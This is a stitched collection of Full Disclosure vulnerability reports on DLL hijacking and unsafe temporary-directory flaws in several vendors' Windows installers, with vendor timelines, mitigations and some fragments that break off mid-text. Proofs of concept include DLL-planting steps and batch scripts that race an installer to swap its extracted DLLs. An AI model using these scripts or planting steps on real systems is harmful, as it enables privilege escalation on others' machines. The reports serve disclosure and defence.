"%ProgramFiles%\Skype\Updater\Updater.exe"
under the SYSTEM account.
When an update is available, Updater.exe copies/extracts another
executable as "%SystemRoot%\Temp\SKY.tmp" and executes it
using the command line
"%SystemRoot%\Temp\SKY.tmp" /QUIET

This executable is vulnerable to DLL hijacking: it loads at least
UXTheme.dll from its application directory %SystemRoot%\Temp\
instead from Windows' system directory.

An unprivileged (local) user who is able to place UXTheme.dll or
any of the other DLLs loaded by the vulnerable executable in
%SystemRoot%\Temp\ gains escalation of privilege to the SYSTEM
account.


The attack vector is well-known and well-documented as CAPEC-471:
<https://capec.mitre.org/data/definitions/471.html>

Microsoft published plenty advice/guidance to avoid this beginner's
error: <https://msdn.microsoft.com/en-us/library/ff919712.aspx>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://support.microsoft.com/en-us/help/2389418/secure-loading-of-libraries-to-prevent-dll-preloading-attacks>
and
<https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>
... which their own developers and their QA but seem to ignore!


See <https://bugs.chromium.org/p/project-zero/issues/detail?id=440>
for the same vulnerability in another Microsoft product!


stay tuned
Stefan Kanthak


Timeline:
~

2017-09-02vulnerability report sent to vendor

2017-09-03reply from vendor: "MSRC case 40550 opened"

2017-09-06notification from vendor's case manager: "report passed
  to product group for investigation"

2017-10-27reply from vendor's case manager:

  "The engineers provided me with an update on this case.
   They've reviewed the code and were able to reproduce
   the issue, but have determined that the fix will be
   implemented in a newer version of the product rather
   than a security update. The team is planning on shipping
   a newer version of the client, and this current version
   will slowly be deprecated. The installer would need a
   large code revision to prevent DLL injection, but all
   resources have been put toward development of the new
   client."

2018-02-09report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 50); Windows Update shoves unsafe crap as "important" updates to unsuspecting users

[Stefan Kanthak]

Hi @ll,

on all but their latest versions of Windows (which Microsoft ships
with .NET Framework 4.x), Microsoft shoves COMPLETELY NEW versions
of .NET Framework via Windows/Automatic Updates onto the PERSONAL
computers of their unsuspecting users^Wcustomers, even and especially
when those customers^Wpoor victims have NOT A SINGLE application
installed which needs .NET Framework at all, and installs them
without asking or even informing their customers, SILENTLY!

Trustworthy computing? NOPE!

In detail:

* Users of Windows 2000 got .NET Framework 1.1, then 2.0 and 3.0
  shoved onto their computers, SILENTLY!

JFTR: .NET Framework 2.0 is NOT an update to .NET Framework 1.x,
  but a COMPLETELY new and incompatible version, which gets
  installed aside a previous version.

* Users of Windows XP got and users of Windows Embedded POSReady 2009
  still get .NET Framework 2.0, then 3.0, 3.5, 3.5.1 and 4.0 shoved
  onto computers, SILENTLY!

JFTR: neither Windows 2000 nor Windows XP shipped with any version
  of .NET Framework.
  Especially with these versions of Windows, pushing
  .NET Framework as "Update" is an euphemism.

JFTR: .NET Framework 4.x is NOT an update to any prior version of
  .NET Framework, but a COMPLETELY new and incompatible version,
  which gets installed aside previous versions.
  At least Microsoft continued to use the euphemism "Update".

* Users of Windows Server 2003 and Windows Server 2003 R2 got
  .NET Framework 2.0, then 3.0, 3.5, 3.5.1 and 4.0 shoved onto
  computers, SILENTLY!

JFTR: Windows Server 2003 shipped with .NET Framework 1.1, and
  Windows Server 2003 R2 with both .NET Framework 1.1 and 2.0.

* Users of Windows Vista got, and users of Windows Server 2008
  still get .NET Framework 3.5, 4.0, 4.0.1, 4.5, 4.5.1, 4.5.2 and
  4.6 shoved onto computers, SILENTLY!

JFTR: both versions of Windows shipped with .NET Framework 3.0,
  for which 3.5 may be considered an update.

* Users of Windows 7 as well as users of Windows Server 2008 R2
  still get .NET Framework 4.0, 4.0.1, 4.5, 4.5.1, 4.5.2, 4.6,
  4.6.1, 4.6.1, 4.7 and 4.7.1 shoved onto computers, SILENTLY!

JFTR: both versions of Windows shipped with .NET Framework 3.5.1.


Every installed version of .NET Framework enlarges the attack
surface of Windows, SIGNIFICANTLY, and contains multiple known
vulnerabilities Microsoft WON'T FIX, for example:

* the (update) installers of EVERY version of .NET are vulnerable
  to DLL hijacking and allow to perform escalation of privilege:
  see <http://seclists.org/fulldisclosure/2017/Jun/34>

* all versions of .NET Framework are vulnerable to DLL hijacking
  and allow a trivial to perform escalation of privilege: see
  <http://seclists.org/fulldisclosure/2017/Jul/11>


Mitigation:
~~~

To block WU/AU from shoving .NET Framework 4.x SILENTLY to your
computer, see the MSKB articles
<https://support.microsoft.com/kb/982320>,
<https://support.microsoft.com/kb/2721187>,
<https://support.microsoft.com/kb/2971109>,
<https://support.microsoft.com/kb/3133990>,
<https://support.microsoft.com/kb/4024204> and
<https://support.microsoft.com/kb/4052152>: then create the
following *.REG and import it.

--- *.REG ---
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\WU]
"BlockNetFramework4"=dword:0001
"BlockNetFramework45"=dword:0001
"BlockNetFramework451"=dword:0001
"BlockNetFramework452"=dword:0001
"BlockNetFramework46"=dword:0001
"BlockNetFramework461"=dword:0001
"BlockNetFramework462"=dword:0001
"BlockNetFramework47"=dword:0001
"BlockNetFramework471"=dword:0001
--- EOF ---

To block earlier versions, see the MSKB articles
<https://support.microsoft.com/kb/949160>,
<https://support.microsoft.com/kb/949161> and
<https://support.microsoft.com/kb/959211>.


stay tuned
Stefan Kanthak


PS: Microsoft implemented .NET Framework in Windows NT in a
TOTALLY flawed and wrong way: if done right, it were an
NT subsystem, like the "Subsystem for OS/2", the POSIX
subsystem, the "Subsystem for UNIX Applications", the
"Windows Subsystem for Linux" or Windows itself.

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 49): fun with application manifests

[Stefan Kanthak]

Hi @ll,

Microsoft built several bugs^W^Wfollowing features into the
processing of (external) application manifests, i.e. XML files
named .exe.manifest which can accompany any portable
executable .exe

JFTR: the file extension ".exe" is only used per convention;
  CreateProcess() and Windows module loader execute
  portable executables independent of their file extension.


Feature #1:
~~~

External application manifests must have "execute file"
permission (although Windows module loader only reads them).

Demonstration/proof of concept:
~~~

On Windows 7, Windows Vista and Windows Embedded POSReady 2009
(alias Windows XP SP3) create empty files CScript.exe.manifest,
MSHTA.exe.manifest and/or WScript.exe.manifest in the "system"
directory %SystemRoot%\System32\, add the NTFS ACE "(D;;WP;;;WD)"
meaning "deny execution for everybody" to these files, then start
CScript.exe, MSHTA.exe and/or WScript.exe via Start->Execute
or per double-click ... and notice the message box telling you
"access denied".

The Win32 error code returned by CreateProcess() is indeed
ERROR_ACCESS_DENIED

On newer versions of Windows, find an arbitrary executable file
without embedded application manifest to reproduce this feature.


Feature #2:
~~~

The "encoding" XML property of application manifests must have
the value UTF-8.

Demonstration/proof of concept:
~~~

On Windows XP^WEmbedded POSReady 2009 and newer versions of
Windows, create the following perfectly valid XML file:

--- dummy.exe.manifest ---



--- EOF ---

Add it as resource of type 24 alias RT_MANIFEST with index 1
to an arbitrary portable executable, or place it next to a
portable executable "dummy.exe" without embedded application
manifest, then start "dummy.exe" via Start->Execute or per
double-click ... and notice the message box telling you
"The application can not be started. ..."

The Win32 error code returned by CreateProcess() is
ERROR_SXS_CANT_GEN_ACTCTX

Replacing US-ASCII with UTF-7, ISO-8859-1, Windows-1252 or any
other valid XML encoding except UTF-8 yields the same result.


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] AMD's buddies for Intel's FDIV bug: _llrem and _ullrem yield wrong remainders!

[Stefan Kanthak]

Hi @ll,

at least after Intel's infamous FDIV bug, everybody who uses (or
programs) computers should know that (floating point) division is
hard to implement right.-)

But what about integer division and integer modulus/remainder?

Starting at least in 1999, and at least until 2011, AMD, Intel's
competitor on the market for x86 and x64 processors, published in
their "AMD Athlon Processor x86 Code Optimization Guide" and their
"Software Optimization Guide for AMD64 Processors" under the title
"Efficient 64-Bit Integer Arithmetic in 32-Bit Mode" routines for
I386 compatible processors: _lldiv, _ulldiv, _ullrem and _llrem

The routines _llrem and _ullrem have a bug and yield wrong remainders!

See for example <https://support.amd.com/TechDocs/25112.PDF> and
<http://support.amd.com/techdocs/40546.pdf> on AMD's website.

_llrem PROC
...
   sbb  eax, eax ; remainder < 0 ? 0x : 0
   and  edx, eax ; remainder < 0 ? divisor_hi : 0
   and  eax, [esp+4] ; remainder < 0 ? divisor_lo : 0
   add  eax, ebx ; remainder_lo
-  add  edx, ecx ; remainder_hi
+  adc  edx, ecx ; remainder_hi
   add  esp, 16  ; Remove local variables.
sr_makesign:


_ullrem PROC
...
   sbb  edx, edx ; (remainder < 0) ? 0x : 0
   and  eax, edx ; (remainder < 0) ? divisor_lo : 0
   and  edx, [esp+24]; (remainder < 0) ? divisor_hi : 0
   add  eax, ebx ; remainder += (remainder < 0) ? divisor : 0
+  adc  edx, ecx
   pop  edi  ; Restore EDI as per calling convention.
   pop  ebx  ; Restore EBX as per calling convention.
   ret  16   ; Done, return to caller.
_ullrem ENDP


Older revisions of AMD's guides, available for example from
<https://cr.yp.to/bib/2004/-amd-25112.pdf> or
<http://www.ii.uib.no/~osvik/amd_opt/25112.pdf>, show these bugs too!


Prior versions of this guide, available for example from
<http://www.ii.uib.no/~osvik/amd_opt/22007k.pdf> or
<https://en.wikichip.org/w/images/5/5f/AMD_Athlon_Processor_x86_Code_Optimization_Guide.pdf>,
show this bug only in the _llrem routine!


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 54): escalation of privilege with PostgresSQL installers for Windows

[Stefan Kanthak]

 not use a string table and do
|  not support section names longer than 8 characters.
|  Long names in object files are truncated if they
|  are emitted to an executable file.


2.b) their IMPORT directory contains 2 IMAGE_IMPORT_DESCRIPTOR entries
 for msvcrt.dll.

 It should but have only 1 IMAGE_IMPORT_DESCRIPTOR per DLL!
 See the PE/COFF specification:

| Import Directory Table
...
| The import directory table consists of an array of import directory
| entries, one entry for each DLL to which the image refers.


Mitigations:
~~~~

* Don't build executable installers, they are almost always vulnerable!

  Create native installation packages for the respective OS instead.
  For Windows these are .MSI or .INF with .CAB.

* Don't use executable installers!

* stay FAR away from PostgreSQL for Windows!


stay tuned
Stefan Kanthak


Timeline:
~

2017-02-17vulnerability report sent to secur...@postgresql.org

2017-02-18reply from vendor:
  "the installers are built using Bitrock InstallBuilder
   which generates the final executable that the user
   downloads. I have therefore escalated this report to
   Bitrock's support team, and as soon as they have a
   solution will initiate a set of update releases for
   affected packages."

2017-10-05PostgreSQL releases version 10, again sporting this
  vulnerability.

  Obviously both PostgreSQL and BitRock are unwilling,
  unable or just too incompetent to provide installers
  without well-known, trivial to detect and trivial to
  exploit vulnerabilities.

2017-10-09report published


Evidence


C:\Users\Stefan\Downloads>link.exe /dump PostgreSQL-10.0-1-win64-bigsql.exe

Microsoft (R) COFF/PE Dumper Version 8.00.50727.762
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file PostgreSQL-10.0-1-win64-bigsql.exe

File Type: EXECUTABLE IMAGE

LINK : fatal error LNK1000: Internal error during DumpSections

  Version 8.00.50727.762

  ExceptionCode= C005
  ExceptionFlags   = 
  ExceptionAddress = 00427362 (0040) "C:\Program Files\...\LINK.EXE"
  NumberParameters = 0002
  ExceptionInformation[ 0] = 
  ExceptionInformation[ 1] = 0004

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] R.I.P. Kaspersky Privacy Cleaner: withdrawn due to multiple begiinner's errors which allow escalation of privilege

[Stefan Kanthak]

Hi @ll,

Kaspersky's Privacy Cleaner, CleanerSetup.exe, previously available
from <https://www.kaspersky.com/free-pc-cleaner> or
<https://free.kaspersky.com/> has the usual vulnerabilities which
almost all executable installers exhibit, plus some more:


#0: download over insecure channel
~~

Both web pages initiated the download of CleanerSetup.exe via
<https://www.kaspersky.com/downloads/thank-you/free-pc-cleaner> from
<http://devbuilds.kaspersky-labs.com/Fast/KCLEANER/CleanerSetup.exe>
over an insecure channel: a MITM could easily intercept the connection
and send arbitrary executables to the unsuspecting downloaders, spoof
the DNS for the download server, ...

CAVEAT: several cheap skate sites like cnet.com still offer
CleanerSetup.exe for download!

<http://devbuilds.kaspersky-labs.com/Fast/KCLEANER/> not only hosted
CleanerSetup.exe, but the installation package cleaner.msi too, which
CleanerSetup.exe downloaded (see #3 below).


#1: arbitrary (remote) code execution WITH escalation of privilege
~~

On a fully patched Windows 7 SP1 CleanerSetup.exe loads and executes
the following Windows system DLLs from its "application directory"
instead Windows' "system directory" %SystemRoot%\System32\:
MSImg32.dll, UXTheme.dll, Version.dll, RichEd20.dll, MSI.dll,
Secur32.dll, SLC.dll, IPHlpAPI.dll, WinNSI.dll,
API-ms-win-downlevel-shlwapi-l2-1-0.dll, RASAPI32.dll,
RASMan.dll, RTUtils.dll, CryptSP.dll, RPCRTRemote.dll,
DNSAPI.dll, DHCPSvc.dll, DHCPSvc6.dll, RASADHlp.dll, BCrypt.dll,
PropSys.dll, NetUtils.dll, SrvCli.dll, WksCli.dll, MSIHnd.dll

On other versions of Windows this list changes, but CleanerSetup.exe
always loads and executes some DLLs from the "application directory".

This weakness is well-known and well-documented:
see <https://cwe.mitre.org/data/definitions/426.html>
and <https://cwe.mitre.org/data/definitions/427.html>
plus <https://capec.mitre.org/data/definitions/471.html>.

See <https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> for
mitigations of this beginner's error.


For software downloaded with a web browser the "application
directory" is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>

If an attacker places one of the DLLs named above in the users
"Downloads" directory (for example per drive-by download, social
engineering, ...) this vulnerability becomes a remote code execution
WITH escalation of privilege.

Thanks to the embedded application manifest of the vulnerable
installer which specifies "requireAdministrator" the DLLs entry
points are called with administrative rights: PWNED!


#2: unsafe %TEMP% directory
~~~

CleanerSetup.exe creates a subdirectory in %TEMP% where it downloads
"cleaner.msi" to.
This subdirectory inherits the access rights from its parent %TEMP%,
so an unprivileged attacker^Wuser can replace the downloaded .MSI
before it is opened by MSIEXEC.exe and let MSIEXEC.exe then perform
arbitrary actions under the SYSTEM account via the replaced *.MSI

See <https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> for this
well-known and well-documented weakness.


#3: download over insecure channel
~~

CleanerSetup.exe uses HTTP to fetch
<http://devbuilds.kaspersky-labs.com/Fast/KCLEANER/verinfo.txt> and
<http://devbuilds.kaspersky-labs.com/Fast/KCLEANER/cleaner.msi>,
allowing an MITM attack.

Since CleanerSetup.exe performs no integrity checks on the downloaded
files any tampering goes unnoticed.


#4: the update checker/installer uses the same insecure procedure
~

Once installed, Kaspersky Privacy Cleaner checks for updates just
like CleanerSetup.exe via insecure channel, downloads them via
insecure channel, performs no integrity checks, ...


stay tuned
Stefan Kanthak


PS: I second Eugene Kaspersky's statement

<https://eugene.kaspersky.com/2017/07/25/kl-av-for-free-secure-the-whole-world-will-be/>
on the miserability of traditional freebies and "security" products:

| There are a lot of users who don't have the ~$50 to spend on premium
| protection; therefore, they install traditional freebies (which have
| more holes than Swiss cheese for malware to slip through) or they even
| rely on Windows Defender (ye gods!).

Stop

[FD] Executable installers are vulnerable^WEVIL (case 53): escalation of privilege with QNAP's installers for Windows

[Stefan Kanthak]

Hi @ll,

the executable installer QNAPQsyncClientWindows-4.2.1.0602.exe,
available from <https://www.qnap.com/en/download>, has (like
almost all executable installers) multiple vulnerabilities:


#1: arbitrary (remote) code execution WITH escalation of privilege
~~

On a fully patched Windows 7 SP1 it loads and executes the following
Windows system DLLs from its "application directory" instead the
"system directory" %SystemRoot%\System32\:
Version.dll, UXTheme.dll, WinMM.dll, SAMCli.dll, MSACM32.dll,
SFC.dll, SFC_OS.dll, DWMAPI.dll, MPR.dll, ShFolder.dll,
NTMARTA.dll

On other versions of Windows this list changes, but the vulnerable
executable installer always loads and executes some DLLs from its
"application directory".

This weakness is well-known and well-documented:
see <https://cwe.mitre.org/data/definitions/426.html>
and <https://cwe.mitre.org/data/definitions/427.html>
plus <https://capec.mitre.org/data/definitions/471.html>.

See <https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> for
mitigations of this beginner's error.

For software downloaded with a web browser the "application
directory" is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>

If an attacker places one of the DLLs named above in the users
"Downloads" directory (for example per drive-by download, social
engineering, ...) this vulnerability becomes a remote code
execution WITH escalation of privilege.

Thanks to its "installer detection" Windows' user account control
requests administrative rights for the executable installer, the
DLLs entry points are called with administrative rights -> PWNED!

Demonstration:

1. download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>
   and save it as Version.dll in your "Downloads" directory, then
   copy it as UXTheme.dll and NTMARTA.dll there too;

2. download
   <https://eu1.qnap.com/Storage/Utility/QNAPQsyncClientWindows-4.2.1.0602.exe>
   and save it your "Downloads" directory;

3. execute QNAPQsyncClientWindows-4.2.1.0602.exe from your
   "Downloads" directory;

4. notice the message boxes displayed from ShFolder.dll etc. placed
   in step 1.


#2: unsafe %TEMP% directory
~~~

It creates a subdirectory ns.tmp in %TEMP%
where it extracts multiple DLLs to and executes them.
This subdirectory inherits the access rights of its parent %TEMP%,
so an unprivileged attacker^Wuser can replace the DLLs between their
creation and execution, again resulting in arbitrary code execution
with escalation of privilege.

See <https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> for this
well-known and well-documented weakness.

Demonstration:

create the following batch script

:WAIT
@If Not Exist "%TEMP%\ns*.tmp" Goto :WAIT
For /D %%! In ("%TEMP%\ns*.tmp") Do Set foobar=%%!
For %%! In ("%foobar%\*.dll") Do Copy /Y "%USERPROFILE%\Downloads\Version.dll" 
"%%!"

and start it, then rerun QNAPQsyncClientWindows-4.2.1.0602.exe


Additionally see <http://seclists.org/fulldisclosure/2015/Dec/32>,
<http://seclists.org/fulldisclosure/2015/Oct/109>,
<http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86>,
plus <https://skanthak.homepage.t-online.de/!execute.html>
and <https://skanthak.homepage.t-online.de/sentinel.html>


FIX:


* DON'T build executable installers at all!

* Provide either a *.MSI or a *.CAB plus an *.INF

* NEVER use executable installers at all!

* Add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning
  "deny execution of files in this directory and all subdirectories"
  to the NTFS ACL of every %TEMP% directory!

  JFTR: when execution in %TEMP% is denied, the defective
installer display a dialog box with the blatant lie

"QSync is running.
 Click [OK] to close QSync and continue the installation,
 or [Cancel] to terminate the process."

and repeats it after clicking [OK], over and over again.
The only way to exit this loop is [Cancel]


stay tuned
Stefan Kanthak


Timeline:
~

2017-07-29vulnerability report sent to vendor

  automated response from vendor:
  "Our team will get back to you as soon as possible."

  no more reaction from vendor

2017-08-07 

[FD] Defense in depth -- the Microsoft way (part 48): privilege escalation for dummies -- they didn't make SUCH a stupid blunder?

[Stefan Kanthak]

t;


Mitigations:
~~~~

* dump .NET Framework and all applications that use it!

* dump UAC!

* use STRICT privilege separation!


stay tuned
Stefan Kanthak


Timeline:
~

2017-06-23vulnerability report sent to vendor

2017-06-23reply from vendor:
  "MSRC case 39303 opened"

2017-07-05reply from vendor:
  "UAC is not a security boundary. As such, this does not
   meet the bar for an explicit down level fix."

2017-07-05report published


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] [CVE-2017-5688] Executable installers are vulnerable^WEVIL (case 52): Intel installation framework allows arbitrary code execution with escalation of privilege

[Stefan Kanthak]

Hi @ll,

executable installers built with Intels Installation Framework,
for example "Intel SSD Toolbox - v3.4.3.exe", available from
<https://downloadcenter.intel.com/download/26574>, expose two
vulnerabilities, both resulting in arbitrary code execution
with escalation of privilege.

Vulnerability #1:
~

On a fully patched Windows 7 SP1 they load and execute (at least)
Cabinet.dll, Version.dll, RichEd20.dll, UXTheme.dll or DMWAPI.dll
(on other versions of Windows different DLLs may be affected)
from the directory they are stored (their so-called "application
directory") instead Windows' "system directory"
%SystemRoot%\System32\", resulting in arbitrary code execution.

DLL hijacking is a 20 year old, well-known and well-documented
vulnerability, and a typical (but ubiquituous) beginner's error:
see <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>,
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<https://skanthak.homepage.t-online.de/!execute.html> for more
documentation!

For software downloaded with a web browser the "application
directory" is typically the user's "Downloads" directory: see
<http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> plus
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>,
<http://seclists.org/fulldisclosure/2012/Aug/134> and
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>

Due to the specification "requireAdministrator" in the application
manifest embedded within the executable, installers like
"Intel SSD Toolbox - v3.4.3.exe" run with administrative privileges
("protected" administrators are prompted for consent, unprivileged
standard users are prompted for an administrator password),
resulting in an escalation of privilege!

If (one of) the DLLs named above get(s) planted in the users
"Downloads" directory, for example per "drive-by download", this
vulnerability becomes a remote code execution WITH escalation of
privilege.


Proof of concept/demonstration:
~~~

1. visit <https://skanthak.homepage.t-online.de/sentinel.html>,
   download
   <https://skanthak.homepage.t-online.de/skanthak/download/SENTINEL.DLL>
   and save it as Cabinet.dll in your "Downloads" directory, then
   copy it as Version.dll, RichEd20.dll, UXTheme.dll and DWMAPI.dll;

2. visit <https://downloadcenter.intel.com/download/26574>, download
   
<https://downloadmirror.intel.com/26574/eng/Intel%20SSD%20Toolbox%20-%20v3.4.3.exe>
   and save it in your "Downloads" directory;

3. execute "Intel SSD Toolbox - v3.4.3.exe" from your "Downloads"
   directory;

4. notice the message boxes displayed from the DLLs placed in
   step 1: PWNED!


Mitigation & detection:
~~~

* NEVER run executable installers from your "Downloads" directory;

* dump/avoid executable installers, use *.MSI instead!

* see <https://skanthak.homepage.t-online.de/!execute.html> plus
  <http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>

* also see <https://skanthak.homepage.t-online.de/verifier.html>


Vulnerability #2:
~

On EVERY version of Windows these installers create UNSAFE
(sub)directories "%TEMP%\IIF.tmp\", "%TEMP%\IIF.tmp\Lang\"
and "%TEMP%\IIF.tmp\Lang\-\", extract some dozen
DLLs "%TEMP%\IIF.tmp\Lang\-\setup.exe.dll" and load
ALL of them with administrative privileges.

An unprivileged attacker^Wuser can replace these DLLs between their
creation and their use, again resulting in elevation of privilege.

See <https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> for this
well-known and well-documented vulnerability.


Proof of concept/demonstration:
~~~

1. visit <https://skanthak.homepage.t-online.de/sentinel.html>,
   then download
   <https://skanthak.homepage.t-online.de/skanthak/download/SENTINEL.DLL>
   and save it in an arbitrary directory;

2. save the following batch script in the same directory:

   --- IIF.CMD ---
   :WAIT
   @If Not Exist "%TEMP%\IIF.tmp" Goto :WAIT
   For /D %%! In ("%TEMP%\IIF.tmp") Do Set IIFTMP=%%!
   For /R "%IIFTMP%" %%! In (setup.exe.dll) Do Copy SENTINEL.DLL "%%!"
   Set IIFTMP=
   --- EOF ---

[FD] Executable installers are vulnerable^WEVIL (case 51): escalation of privilege with Microsoft's Azure Recovery Services Agent

[Stefan Kanthak]

Hi @ll,

MARSAgentInstaller.exe, the Microsoft Azure Recovery Services Agent,
available via
<https://support.microsoft.com/en-us/help/4020540/fix-the-microsoft-recovery-services-agent-cannot-connect-to-the-obengi>
from
<https://download.microsoft.com/download/9/A/9/9A92B144-3F87-45E1-BD63-C1E9431F2CC0/MARSAgentInstaller.exe>
is vulnerable: it allows arbitrary code execution via DLL hijacking,
resulting in escalation of privilege on standard installations of
Windows.

MARSAgentInstaller.exe version 2.0.9072.0, digitally signed 2017-04-05,
loads and executes (tested on a fully patched Windows 7 SP1) at least
the following DLLs from its application directory (typically
"%USERPROFILE%\Downloads\") instead Windows' system directory
"%SystemRoot%\System32\": Version.dll, CryptDll.dll, CryptSP.dll,
UXTheme.dll or DWMAPI.dll, Cabinet.dll

Thanks to the embedded application manifest which specifies
"requireAdministrator" this results in escalation of privilege on
standard installations of Windows!

See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> for this
well-known beginner's error.

See 
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>,
<http://seclists.org/fulldisclosure/2012/Aug/134> and
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
for more information.


Proof of concept/demonstration:
~~~

1. visit <https://skanthak.homepage.t-online.de/sentinel.html>,
   download
   <https://skanthak.homepage.t-online.de/skanthak/download/SENTINEL.DLL>
   and save it as Cabinet.dll in your "Downloads" directory, then
   copy it as Version.dll, CryptDLL.dll, CryptSP.dll, UXTheme.dll
   and DWMAPI.dll;

2. visit
   
<https://support.microsoft.com/en-us/help/4020540/fix-the-microsoft-recovery-services-agent-cannot-connect-to-the-obengi>,
   download
   
<https://download.microsoft.com/download/9/A/9/9A92B144-3F87-45E1-BD63-C1E9431F2CC0/MARSAgentInstaller.exe>
   and save it in your "Downloads" directory;

3. execute MARSAgentInstaller.exe from your "Downloads" directory;

4. notice the message boxes displayed from the DLLs placed in step 1:
   PWNED!


Mitigation & detection:
~~~

* NEVER run executable installers from your "Downloads" directory;

* dump/avoid executable installers, use *.MSI instead!

* see <https://support.microsoft.com/en-us/kb/2533623>,
  <https://technet.microsoft.com/en-us/security/2269637> and
  <https://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>

* also see <https://skanthak.homepage.t-online.de/verifier.html>
  and <https://skanthak.homepage.t-online.de/!execute.html>



stay tuned
Stefan Kanthak


Timeline:
~

2017-05-18vulnerability report sent to vendor

2017-05-18reply from vendor:
  "As described in the Windows library search order process,
   loading binaries from the application directory is by design."

2017-05-18OUCH!
  The "application directory" can be removed from the library
  search path since Windows Vista and KB2533623!
  See <https://msdn.microsoft.com/en-us/library/hh310515.aspx>

2017-05-26no reply from vendor since 7 days, report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^Wdefective^WEVIL (case 49): xampp-win32-7.1.1-0-VC14-installer.exe allows escalation of privilege

[Stefan Kanthak]

It should but have only 1 IMAGE_IMPORT_DESCRIPTOR per DLL!
See the PE/COFF specification:

| Import Directory Table
...
| The import directory table consists of an array of import directory
| entries, one entry for each DLL to which the image refers.


Mitigations:


* Don't build executable installers, they are almost always vulnerable!

  Create native installation packages for the respective OS instead.
  For Windows these are .MSI or .INF with .CAB.

* Don't use executable installers!

* stay FAR away from so called products of companies like BitRock


stay tuned
Stefan Kanthak


Timeline:
~

2017-02-17vulnerability report sent to one of the customers/users
  of BitRock, the maker of XAMPP and the equally vulnerable
  and defective BitRock InstallBuilder

2017-02-18reply from this customer:
  "I have [therefore] escalated this report to Bitrock's
   support team."

  NO REPLY from Bitrock's support team.

2017-02-19vulnerability report sent to the german tax office: their
  "Elster Formular" software was built with the vulnerable
  and defective BitRock InstallBuilder too

  NO REPLY, not even an acknowledgement of receipt from the
  german tax office

2017-02-26vulnerability report sent to BitRock, maker of XAMPP,
  Bitnami and BitRock InstallBuilder

2017-02-27reply from BitRock: some lame excuses, and
  "Thank you again for sharing all of the concerns with us."
  but no hint/ETA for a fix

2017-02-27vulnerability report resent to german tax office

2017-03-03reply from german tax office:
  "we've rebuilt our installers, the vulnerability is
   fixed."

2017-03-06NO, it is NOT fixed, the installer still shows the
  reported defects/vulnerabilities

2017-03-23reply from german tax office:
  "we are working on an .MSI installer; ETA April 18"

2017-04-26german tax office published .MSI installers for their
  "Elster Formular" software

2017-05-04report published


Evidence:
~

C:\>link.exe /dump /headers xampp-win32-7.1.1-0-VC14-installer.exe

Microsoft (R) COFF/PE Dumper Version 8.00.50727.762
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file xampp-win32-7.1.1-0-VC14-installer.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
